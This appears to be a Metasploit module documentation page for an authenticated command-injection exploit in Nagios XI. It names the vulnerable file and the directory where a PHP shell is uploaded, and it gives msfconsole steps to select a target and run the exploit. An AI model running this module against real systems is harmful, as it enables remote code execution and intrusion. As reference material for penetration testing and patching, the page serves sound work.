This module exploits an OS command injection vulnerability in
includes/components/nxti/index.php that enables an authenticated user
with admin privileges to achieve remote code execution as the `apache`
user. The module uploads a simple PHP shell via includes/components/nxti/index.php
to includes/components/autodiscovery/jobs/
Linux,Unix
x86, x64, cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/nagios_xi_snmptrap_authenticated_rce
msf exploit(nagios_xi_snmptrap_authenticated_rce) > show targets
...targets...
msf exploit(nagios_xi_snmptrap_authenticated_rce) > set TARGET < target-id >
msf exploit(nagios_xi_snmptrap_authenticated_rce) > show options
...show and set options...
msf exploit(nagios_xi_snmptrap_authenticated_rce) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
